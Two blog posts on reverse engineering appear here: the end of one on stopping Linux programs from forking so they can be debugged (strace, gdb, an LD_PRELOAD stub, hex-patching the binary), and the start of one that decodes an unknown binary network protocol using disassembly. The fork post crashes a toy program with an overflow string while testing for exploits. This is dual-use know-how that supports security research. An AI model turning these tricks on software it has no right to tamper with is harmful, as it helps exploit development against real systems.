<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace ./noforkapp test
execve("./noforkapp", ["./noforkapp", "test"], 0x7fffd7acc8f8 /* 72 vars */) = 0
[...]
write(1, "You entered: test\n", 18You entered: test
) = 18
exit_group(0) = ?
+++ exited with 0 +++
</code></pre></div></div>
<p>But once you add forking into the equation, you no longer see the <code class="language-plaintext highlighter-rouge">write</code>
syscall in <code class="language-plaintext highlighter-rouge">strace</code> by default:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace ./forkapp test
execve("./forkapp", ["./forkapp", "test"], 0x7ffd1b7f02c8 /* 52 vars */) = 0
[...]
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f82376b4a10) = 133314
wait4(133314, You entered: test
NULL, 0, NULL) = 133314
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=133314, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
exit_group(0) = ?
+++ exited with 0 +++
</code></pre></div></div>
<p>We see the string, but that’s all!</p>
<p>Likewise, if we overflow the stack, we should get some sorta feedback like
this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./noforkapp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
fish: Job 1, './noforkapp AAAAAAAAAAAAAAAAAAA…' terminated by signal SIGSEGV (Address boundary error)
</code></pre></div></div>
<p>But when it forks, we get nothing:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./forkapp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$
</code></pre></div></div>
<p>If you know to look in <code class="language-plaintext highlighter-rouge">dmesg</code> or <code class="language-plaintext highlighter-rouge">journalctl</code>, they should catch the crash, but
it’s so easy to forget that:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ dmesg | tail -n1
[1034540.509003] traps: forkapp[133518] general protection fault ip:40120f sp:7ffd5e41b668 error:0 in forkapp[401000+1000]
$ journalctl | grep forkapp
[...]
May 12 13:06:50 ronlab kernel: traps: forkapp[140097] general protection fault ip:40120f sp:7ffd5e41b668 error:0 in forkapp[401000+1000]
[...]
</code></pre></div></div>
<p>So basically, forking is a pain when reverse engineering, fuzzing, exploit
testing, and basically everything else. It’s widely believe to have been a
mistake (at least by exploit devs).</p>
<h2 id="technique-1-explaining-forking-to-your-tools">Technique 1: Explaining forking to your tools</h2>
<p>The most common way to handle this, and also what I’d call the worst way (okay,
upon review, Technique 2 is worse), is by configuring your tools correctly. The
first problem with this is that it requires you to RTFM, which is something I’m
not a fan of. The second problem is that it’s easy to forget, and then you miss
stuff.</p>
<p><code class="language-plaintext highlighter-rouge">strace</code> has a <code class="language-plaintext highlighter-rouge">-f</code> or <code class="language-plaintext highlighter-rouge">--follow-forks</code> option, which will follow the child
processes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace -f ./forkapp test
execve("./forkapp", ["./forkapp", "test"], 0x7ffd203a57c0 /* 72 vars */) = 0
[...]
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLDstrace: Process 133742 attached
, child_tidptr=0x7fa1dfd5ca10) = 133742
[pid 133742] set_robust_list(0x7fa1dfd5ca20, 24) = 0
[pid 133741] wait4(133742, <unfinished ...>
[...]
[pid 133742] write(1, "You entered: test\n", 18You entered: test
) = 18
[pid 133742] exit_group(0) = ?
[pid 133742] +++ exited with 0 +++
<... wait4 resumed>NULL, 0, NULL) = 133742
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=133742, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
exit_group(0) = ?
+++ exited with 0 +++
</code></pre></div></div>
<p>When the <code class="language-plaintext highlighter-rouge">-f</code> option is specified, you can once again see the <code class="language-plaintext highlighter-rouge">write</code> syscall!
If you’re looking to see it crash, you can run the process in <code class="language-plaintext highlighter-rouge">gdb</code> and set
the <code class="language-plaintext highlighter-rouge">follow-fork-mode</code> option to <code class="language-plaintext highlighter-rouge">child</code>, which tells <code class="language-plaintext highlighter-rouge">gdb</code> to attach to the
first child process spawned:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gdb -q ./forkapp
Reading symbols from ./forkapp...
(gdb) set follow-fork-mode child
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/ron/tmp/forktest/forkapp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Attaching after Thread 0x7ffff7dcb740 (LWP 134979) fork to child process 135430]
[New inferior 2 (process 135430)]
[Detaching after fork from parent process 134979]
[Inferior 1 (process 134979) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thread 2.1 "forkapp" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7dcb740 (LWP 135430)]
0x000000000040120f in main (argc=2, argv=0x7fffffffda98) at forkapp.c:27
27 }
</code></pre></div></div>
<p>That’s great, but also a pain!</p>
<p>Surely there’s a better way!</p>
<h2 id="technique-2-globally-killing-fork-with-ld_preload">Technique 2: Globally killing fork with <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code></h2>
<p>I wanted to talk about using <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> for two reasons: first, it’s a neat
technique that applies to a whole bunch of other stuff; second, I wanted to have
three techniques for a better blog title!</p>
<p>With the <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> environmental variable, you can override functions from
libraries with your own implementations! I wrote some CTF challenges last year
called <code class="language-plaintext highlighter-rouge">loadit</code>, which uses this technique; you can see writeups
<a href="https://www.skullsecurity.org/2022/bsidessf-2022-writeups-tutorial-challenges-shurdles-loadit-polyglot-nft">here</a>.</p>
<p>To implement <code class="language-plaintext highlighter-rouge">fork</code> yourself, you create your own program that defines your own
version of <code class="language-plaintext highlighter-rouge">fork</code> that does what you want - basically, nothing. It should
return <code class="language-plaintext highlighter-rouge">0</code>, which tells the process that <code class="language-plaintext highlighter-rouge">fork</code> worked and the process is the
<code class="language-plaintext highlighter-rouge">child</code> process. The fun part is, since we didn’t actually fork, there <em>is</em> no
parent process!</p>
<p>Here’s an empty <code class="language-plaintext highlighter-rouge">fork</code> implementation (which you can also grab from the repo):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <unistd.h>
</span>
<span class="n">pid_t</span> <span class="nf">fork</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"The process tried to fork!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Here’s the command to compile it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gcc -shared -fPIC -o onlyyoucanpreventforking.so onlyyoucanpreventforking.c
</code></pre></div></div>
<p>Then set the environmental variable, and you can freely test the app:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export LD_PRELOAD=./onlyyoucanpreventforking.so
$ ./forkapp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The process tried to fork!
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
</code></pre></div></div>
<p>Until of course, tools fail to work. I’m testing this as I write, and both
<code class="language-plaintext highlighter-rouge">strace</code> and <code class="language-plaintext highlighter-rouge">gdb</code> seem to depend on forking. That means you have to specify
the <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> environmental variable for the child, but not the parent.
Sometimes that’s easy, sometimes not.</p>
<p>Here’s how you can use it with <code class="language-plaintext highlighter-rouge">strace</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strace -E LD_PRELOAD=./onlyyoucanpreventforking.so ./forkapp test
[...]
write(1, "The process tried to fork!\n", 27The process tried to fork!
) = 27
write(1, "You entered: test\n", 18You entered: test
) = 18
exit_group(0) = ?
+++ exited with 0 +++
</code></pre></div></div>
<p>And <code class="language-plaintext highlighter-rouge">gdb</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gdb -q ./forkapp
Reading symbols from ./forkapp...
(gdb) set environment LD_PRELOAD=./onlyyoucanpreventforking.so
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/ron/tmp/forktest/forkapp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.fedoraproject.org/>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
The process tried to fork!
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x000000000040120f in main (argc=2, argv=0x7fffffffd8a8) at forkapp.c:27
27 }
</code></pre></div></div>
<p>Now that I am actually messing with this, it’s kind of a terrible technique and
you probably shouldn’t use it. Upon review, I’m calling this the worst of the
three techniques (but I refuse to re-order the blog!)</p>
<p>It’s interesting, though!</p>
<h2 id="technique-3-kill-it-with-fire-edit-the-binary">Technique 3: Kill it with fire (edit the binary)</h2>
<p>My favourite technique is “burn it down”. I edit the binary’s hex code, and
literally remove the call to <code class="language-plaintext highlighter-rouge">fork()</code>. That sorta thing will fail on Windows,
because of how relocations work (see
<a href="https://www.skullsecurity.org/2022/bsidessf-2022-writeups-miscellaneous-challenges-loca-reallyprettymundane">my writeup</a>
for the CTF challenge “loca”), but works great on Linux! Note that if the parent
process actually <em>does</em> something, this will fail in some spectacular way. Use
at your own peril. :)</p>
<h3 id="disassembling">Disassembling</h3>
<p>First, you want to disassemble the binary to find where <code class="language-plaintext highlighter-rouge">fork()</code> is called.
You can use whatever disassembler you’re comfortable with; IDA or Ghidra are
common choices, but I’ll use <code class="language-plaintext highlighter-rouge">objdump</code> since it’s always handy on Linux.</p>
<p>When I run <code class="language-plaintext highlighter-rouge">objdump</code>, I pass two flags: <code class="language-plaintext highlighter-rouge">-M intel</code> to emit the more familiar
Intel syntax (default is AT&T, which you don’t see much anymore); and <code class="language-plaintext highlighter-rouge">-d</code> to
disassemble the file.</p>
<p>Here’s what the output looks like (note that it’s quite long, so be prepared to
pipe into <code class="language-plaintext highlighter-rouge">grep</code> or <code class="language-plaintext highlighter-rouge">less</code> or redirect into a file you can search:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -M intel -d ./forkapp | grep -C3 'fork'
[...]
4011a6: e8 a5 fe ff ff call 401050 <fprintf@plt>
4011ab: bf 01 00 00 00 mov edi,0x1
4011b0: e8 bb fe ff ff call 401070 <exit@plt>
4011b5: e8 c6 fe ff ff call 401080 <fork@plt>
4011ba: 89 45 fc mov DWORD PTR [rbp-0x4],eax
4011bd: 83 7d fc 00 cmp DWORD PTR [rbp-0x4],0x0
4011c1: 75 32 jne 4011f5 <main+0x7f>
[...]
</code></pre></div></div>
<p>Note that there might be more than one call to <code class="language-plaintext highlighter-rouge">fork</code> - if that’s the case, you
can try replacing each one, or just replace all of them to see what happens!</p>
<p>The left-most column is the virtual address where the code will load - the
actual address doesn’t matter, since it’s not the in-file address, but as
far as I can tell there’s no good way to get the in-file address with <code class="language-plaintext highlighter-rouge">objdump</code>
(although <code class="language-plaintext highlighter-rouge">--file-offsets</code> looked promising!). It will, however, share the last
4 digits with the in-file address, which can help disambiguate things.</p>
<p>The second column is the machine code - it’s important to note how many bytes
the call to <code class="language-plaintext highlighter-rouge">fork</code> takes up, and which bytes they are so we can recognize them
later. It should always be 5 bytes, but the values will change in each app; in
our case, it’s <code class="language-plaintext highlighter-rouge">e8 c6 fe ff ff</code>. You CANNOT add or subtract bytes without a
world of problems, so you’re going to need to replace those five bytes with
something else that’s exactly 5 bytes. That’s super important!</p>
<h3 id="building-a-patch">Building a patch</h3>
<p>Now that we know we need to replace 5 bytes, and what the original bytes are,
but what do we replace them with?</p>
<p>There are lots of options, but let’s use <code class="language-plaintext highlighter-rouge">nasm</code> to create the simplest patch
we can. Here’s some 64-bit assembly code that simulates a function that does
nothing but returns 0 (not that since it’s never actually called, we don’t
actually have to return):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bits 64
mov rax, 0
</code></pre></div></div>
<p>We can assemble that with <code class="language-plaintext highlighter-rouge">nasm</code>, then use <code class="language-plaintext highlighter-rouge">hexdump</code> to check what it becomes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nasm -o patch patch.asm
$ hexdump -C patch
00000000 b8 00 00 00 00 |.....|
00000005
</code></pre></div></div>
<p>It’s handy that the naive solution is already 5 bytes! If you need to take up
more space, you can add <code class="language-plaintext highlighter-rouge">nop</code> (which is one byte - <code class="language-plaintext highlighter-rouge">90</code>) as many times as you want,
before or after the instruction. If you need to take up <em>less</em> space, you need
to get creative and find shorter ways to do things. Replacing <code class="language-plaintext highlighter-rouge">mov rax, 0</code> with
<code class="language-plaintext highlighter-rouge">xor rax, rax</code> is one such optimization.</p>
<h3 id="insert-the-patch">Insert the patch</h3>
<p>We’re going to literally change the binary to replace <code class="language-plaintext highlighter-rouge">call fork</code> with our
patch, using a hex editor! You can use whatever hex editor you like (I often
use <code class="language-plaintext highlighter-rouge">xvi32</code>, which is super old and janky). For demo purposes, I’ll use <code class="language-plaintext highlighter-rouge">xxd</code>
to convert the binary to hex, and <code class="language-plaintext highlighter-rouge">xxd -r</code> to convert back.</p>
<p>To convert <code class="language-plaintext highlighter-rouge">forkapp</code> to hex using <code class="language-plaintext highlighter-rouge">xxd</code>, run <code class="language-plaintext highlighter-rouge">xxd</code> and redirect the binary into
it on stdin. I use <code class="language-plaintext highlighter-rouge">-g1</code> since that format is slightly more familiar to me:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ xxd -g1 < forkapp > forkapp.hex
</code></pre></div></div>
<p>Then I open the file in whatever text editor I like, and find the 5 bytes that
we noted earlier - <code class="language-plaintext highlighter-rouge">e8 c6 fe ff ff</code>. Hopefully they should only appear once; if
they appear multiple times, look for an offset in the file that looks similar to
the offset in <code class="language-plaintext highlighter-rouge">objdump</code>. Here’s what it looks like in <code class="language-plaintext highlighter-rouge">forkapp.hex</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>000011a0: c7 b8 00 00 00 00 e8 a5 fe ff ff bf 01 00 00 00 ................
000011b0: e8 bb fe ff ff*e8 c6 fe ff ff*89 45 fc 83 7d fc ...........E..}.
000011c0: 00 75 32 48 8b 45 d0 48 83 c0 08 48 8b 10 48 8d .u2H.E.H...H..H.
</code></pre></div></div>
<p>Replace those bytes with our patch - <code class="language-plaintext highlighter-rouge">b8 00 00 00 00</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>000011a0: c7 b8 00 00 00 00 e8 a5 fe ff ff bf 01 00 00 00 ................
000011b0: e8 bb fe ff ff b8 00 00 00 00 89 45 fc 83 7d fc ...........E..}.
000011c0: 00 75 32 48 8b 45 d0 48 83 c0 08 48 8b 10 48 8d .u2H.E.H...H..H.
</code></pre></div></div>
<p>Then use <code class="language-plaintext highlighter-rouge">xxd -r</code> to convert back to binary:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ xxd -r < forkapp.hex > forkapp.patched
</code></pre></div></div>
<p>Optionally, disassemble again to ensure it worked:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ objdump -M intel -d forkapp.patched | grep -C2 '4011b5:'
4011ab: bf 01 00 00 00 mov edi,0x1
4011b0: e8 bb fe ff ff call 401070 <exit@plt>
4011b5: b8 00 00 00 00 mov eax,0x0
4011ba: 89 45 fc mov DWORD PTR [rbp-0x4],eax
4011bd: 83 7d fc 00 cmp DWORD PTR [rbp-0x4],0x0
</code></pre></div></div>
<h3 id="go-go-go">Go go go!</h3>
<p>Then make the newly patched binary executable with <code class="language-plaintext highlighter-rouge">chmod +x</code>, and do your
testing:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ chmod +x forkapp.patched
$ ./forkapp.patched AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
fish: Job 1, './forkapp.patched AAAAAAAAAAAAA…' terminated by signal SIGSEGV (Address boundary error)
$ strace ./forkapp.patched test
[...]
write(1, "You entered: test\n", 18You entered: test
) = 18
exit_group(0) = ?
$ gdb -q ./forkapp.patched
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[...]
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x000000000040120f in main (argc=2, argv=0x7fffffffda88) at forkapp.c:27
27 }
</code></pre></div></div>
<p>Pretty much everything will work as if there was never a fork!</p>ronHave you ever tested a Linux application that forks into multiple processes? Isn’t it a pain? Whether you’re debugging, trying to see a process crash, or trying to write an exploit, it can be super duper annoying! In a few days, I’m giving a talk at NorthSec in Montreal. I asked some co-workers to review my slides, and they commented that I have some neat techniques to deal with forking, so I thought I’d share a couple! Spoiler alert: The last one is the best, so you can just skip to that. :)Reverse engineering tricks: identifying opaque network protocols2023-05-02T22:37:26+00:002023-05-02T22:37:26+00:00https://www.skullsecurity.org/2023/reverse-engineer-tricks-opaque-data<p>Lately, I’ve been reverse engineering a reasonably complex network protocol, and I ran into a mystery - while the protocol is generally an unencrypted binary protocol, one of the messages was large and random. In an otherwise unencrypted protocol, why is one of the messages unreadable? It took me a few hours to accomplish what should have been a couple minutes of effort, and I wanted to share the trick I ultimately used!</p>
<p>I’m going to be intentionally vague on the software, and even modify a few things to make it harder to identify; I’ll probably publish a lot more on my <a href="https://blog.rapid7.com">work blog</a> once I’m finished this project!</p>
<!--more-->
<h2 id="binary-protocols">Binary protocols</h2>
<p>Let’s take a look at the binary protocol! If you’re familiar with protocols and just want to see the “good stuff”, feel free to skip down to the next header.</p>
<p>A “binary protocol” is a network protocol that uses unprintable characters (as opposed to a protocol like HTTP, which is something you can type on your keyboard). Often, you’ll use a tool like Wireshark to grab a sample of network traffic (a “packet capture”, or “PCAP”) and, if it’s not encrypted, you can start drawing conclusions about what the client and server expect. In a PCAP, you might see requests / responses that look like this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Outbound:
08 00 00 00 2c 00 00 00 ....,...
Inbound:
40 00 00 00 2c 00 00 00 55 53 52 53 05 00 00 00 @...,... USRS....
2c 00 00 00 02 00 00 00 55 38 f9 ed 21 59 47 f5 ,....... U8..!YG.
8f 9d 43 59 33 5c 2e 92 00 00 00 00 c4 54 f4 01 ..CY3\.. .....T..
8d b4 43 e7 9e 9f ea db 4e 76 1a 7a 00 00 00 00 ..C..... Nv.z....
</code></pre></div></div>
<p>I don’t want to get too buried in the weeds on how this protocol actually works, but when you work with unknown binary protocols a lot, certain things start to stand out.</p>
<p>First, let’s talk about <a href="https://en.wikipedia.org/wiki/Endianness">endianness</a>! The way integers are encoded into protocols vary based on the protocol, but a very common way to encode a 4-byte (32-bit) number is either big endian (<code class="language-plaintext highlighter-rouge">8</code> => <code class="language-plaintext highlighter-rouge">00 00 00 08</code>) or little endian (<code class="language-plaintext highlighter-rouge">8</code> => <code class="language-plaintext highlighter-rouge">08 00 00 00</code>). There are historic reasons both exist, and both are common to see, but based on the structure of those messages, we can guess that the first 4 bytes are either a big-endian integer with the value 0x08000000 or a little-endian integer with the value 0x00000008. The latter seems more likely, because that would make a great length value; speaking of lengths…</p>
<p>Second, let’s talk about TCP - TCP is a streaming protocol, which means there is no guarantee that if you send 100 bytes, the receiver will receive those 100 bytes all at once. You ARE guaranteed that if you received data, it’ll be the correct bytes in the correct order; however, you might get 50 now and 50 later, or 99 now and 1 later, or maybe the next 50 bytes will be attached and you’ll get 150 bytes all at once. As a result, TCP-based services nearly always encode a length value near the start, allowing protocols to unambiguously receive complete messages.</p>
<p>Because of all that, one of the first things I do when approaching a new protocol is try to identify the length field. In this case, you’ll note that the packet that starts with 0x08 is 8 bytes long, and the packet that starts with 0x40 is 0x40 bytes long. That looks promising! And, as it turns out, is correct.</p>
<p>Once we have a length field, the next thing to consider is how the client and server multiplex messages. In an HTTP protocol, there’s a URI, which tells the server where to direct the request. In a binary protocol, there isn’t typically a free-form string like that; instead, you commonly see a “message id” field (or packet id, or any number of other names). Typically, these will be near the start of a message, and typically, the structure of the remainder of the message will be based on that value. So finding similar looking messages with the same identifier near the start is one way to identify the message id. Another way - not necessarily super reliable, mind you - is to look for a request and response that appear to go together and that have the same integer near the start; often, responses have the same message id as requests. In the request/response above, the 0x2c value seems like a great candidate for a message id, and it is!</p>
<p>If you have access to the binary - and it’ll be awfully hard to reverse an unknown protocol without one! - you can often validate that sort of guess by finding an enormous <code class="language-plaintext highlighter-rouge">switch</code> statement close to a <code class="language-plaintext highlighter-rouge">recv</code> - this is from disassembling the binary in IDA:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00007FF77741B624 loc_7FF77741B624: ; CODE XREF: switches_msg_id+89↑j
.text:00007FF77741B624 mov [rbp+50h+var_A0], r15
.text:00007FF77741B628 mov [rbp+50h+var_98], 7
.text:00007FF77741B630 mov word ptr [rbp+50h+str_adminsupport], r15w
.text:00007FF77741B635 mov eax, [rsi+10h]
.text:00007FF77741B638 dec eax ; switch 490 cases <-- 490 options!
.text:00007FF77741B63A cmp eax, 1E9h
.text:00007FF77741B63F ja def_7FF77741B65E ; jumptable 00007FF77741B65E default case, cases 13-15,25,[.......way way way more.......]
.text:00007FF77741B645 lea rcx, unk_7FF776FD0000
.text:00007FF77741B64C movzx eax, ds:(byte_7FF77741D5EC - 7FF776FD0000h)[rcx+rax]
.text:00007FF77741B654 mov edx, ds:(jpt_7FF77741B65E - 7FF776FD0000h)[rcx+rax*4]
.text:00007FF77741B65B add rdx, rcx
.text:00007FF77741B65B ; } // starts at 7FF77741B5E1
.text:00007FF77741B65E jmp rdx ; switch jump
</code></pre></div></div>
<p>I used a debugger to put a breakpoint on that <code class="language-plaintext highlighter-rouge">switch</code> jump (at <code class="language-plaintext highlighter-rouge">00007FF77741B65E</code>), then replayed the initial 8-bit message message. When execution reached that <code class="language-plaintext highlighter-rouge">jmp</code>, it breaks into debug mode. I go to the next statement (ie, tell the program to perform the <code class="language-plaintext highlighter-rouge">jmp rdx</code> instruction), and wind up at this piece of code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00007FF77741BC23 loc_7FF77741BC23: ; CODE XREF: switches_msg_id+FE↑j
.text:00007FF77741BC23 ; DATA XREF: switches_msg_id:jpt_7FF77741B65E↓o
.text:00007FF77741BC23 mov r9, r14 ; jumptable 00007FF77741B65E case 44
.text:00007FF77741BC26 mov r8, rsi
.text:00007FF77741BC29 mov rdx, rdi
.text:00007FF77741BC2C mov rcx, rbx
.text:00007FF77741BC2F call sub_7FF777411F20 ; I believe this just returns the site_id
.text:00007FF77741BC34 jmp loc_7FF77741D190
</code></pre></div></div>
<p>Case 44, in hex, is case 0x2c - the message id! That pretty much confirms the message id.</p>
<p>The rest of message 0x2c isn’t super interesting - the response is an array of 20-byte identifiers that don’t really matter. I chose it as an example because it’s pretty short.</p>
<p>Now that we’ve talked a bit about reversing a protocol, let’s look at the mystery!</p>
<h2 id="the-mystery-blob">The mystery blob!</h2>
<p>While working on this project, I noticed one packet that stands out: immediately after authenticating, the client sends an 8-byte request with id 0x0c, and the server responds with an enormous response (0x17ba bytes!) with the message type 0xff7f:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Outbound:
08 00 00 00 0c 00 00 00 ........
Inbound:
ba 17 00 00 7f ff 00 00 78 9c ed 9c 07 78 14 d5 ........ x....x..
da c7 4f 68 4a a4 08 2a 8a 08 ac 41 ba 09 09 04 ..OhJ..* ...A....
08 a1 98 0e 01 52 c8 86 be 10 36 9b dd 64 c9 6e .....R.. ..6..d.n
36 6c 09 04 01 47 34 08 88 02 a1 08 5e 01 95 26 6l...G4. ....^..&
20 52 04 11 01 11 09 58 10 50 04 41 b0 d1 91 22 R.....X .P.A..."
d2 94 26 f9 ce bc ff 9d 24 b3 99 4d a2 72 ef e3 ..&..... $..M.r..
77 ef 2c 4f f2 cb fb 9e 33 a7 cd 99 99 ff 79 f7 w.,O.... 3.....y.
30 f7 4c 64 ac 06 63 4c db 5b 9b 7c 2f a7 0f ff 0.Ld..cL .[.|/...
b9 f8 02 63 df 16 16 16 46 b2 50 a6 63 89 cc ce ...c.... F.P.c...
6c 2c 9d ff d6 33 2b 8b e2 bf 9d fc 47 c7 ba 33 l,...3+. ....G..3
[.........]
</code></pre></div></div>
<p>My first (incorrect) instinct is that it’s encrypted, which raises the obvious question: if it’s encrypted, what <em>is</em> it??? It’s gotta be pretty interesting if it’s a gigantic, encrypted blob, right? That was my logic as I excitedly dove into the weeds!</p>
<p>So I set off to figure out what it actually is. The function that handles message 0x0c is large and complex. Some debugging revealed strings like “Default settings” and “all users” and stuff, which made me think it’s configuration. Why would they encrypt configuration? Maybe it has passwords? Maybe this is exciting!</p>
<p>Unfortunately, it’s C++, and it’s a complex function. Like really complex. I could have spent a week reversing the whole thing, with all the objects involved, and I don’t have time for that! Hoping for an easy victory (identifying what, exactly, is encrypted), I spent a couple hours tracing through the various interesting-looking function calls, looking for something that looks encryptiony to me. At one point I noticed code that looks like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00007FF7776FFEBA mov rax, 4924924924924925h
.text:00007FF7776FFEC4 sub rcx, [r14+10h]
.text:00007FF7776FFEC8 mov r8d, 4
.text:00007FF7776FFECE imul rcx
.text:00007FF7776FFED1 mov rcx, [rdi]
.text:00007FF7776FFED4 sar rdx, 4
.text:00007FF7776FFED8 mov rax, rdx
.text:00007FF7776FFEDB shr rax, 3Fh
.text:00007FF7776FFEDF add rdx, rax
</code></pre></div></div>
<p>I googled the constant <code class="language-plaintext highlighter-rouge">0x4924924924924925</code> (I can do a whole other post about googling constants!), and found some <a href="https://github.com/NationalSecurityAgency/ghidra/issues/1263">mentions of encryption</a>, some <a href="https://1ce0ear.github.io/2017/09/14/ZCTF-Challenge-3/">CTF challenges</a>, stuff like that. It looked promising, but the code around it didn’t feel like encryption to me - it kinda looked like it could be a hashtable. I didn’t really know.</p>
<p>Eventually, at the bottom of one of the functions, I noticed an exception being thrown:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00007FF7777000A2 loc_7FF7777000A2: ; CODE XREF: sub_7FF7776FFE80+70↑j
.text:00007FF7777000A2 lea rcx, [rbp+pExceptionObject]
.text:00007FF7777000A6 call sub_7FF77709D600
.text:00007FF7777000AB lea rdx, __TI3?AVCArchiveException@io@Shared@@ ; pThrowInfo
.text:00007FF7777000B2 lea rcx, [rbp+pExceptionObject] ; pExceptionObject
.text:00007FF7777000B6 call _CxxThrowException
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">AVCArchiveException</code>? Wait, Archive? Does that mean….?</p>
<h2 id="solving-the-mystery">Solving the mystery</h2>
<p>As part of my normal process, I was building a client in Ruby, implementing the protocol as I go. Here’s the code I used to generate message 0x0c with a blank body:</p>
<div class="language-rb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">encrypted</span> <span class="o">=</span> <span class="n">send_recv</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="s1">''</span><span class="p">)</span>
</code></pre></div></div>
<p>I had tried different techniques to decrypt the response; since the size (0x17ba or 6074) isn’t a multiple of 8 or 16, I knew it wasn’t a block cipher. But I was otherwise stuck.</p>
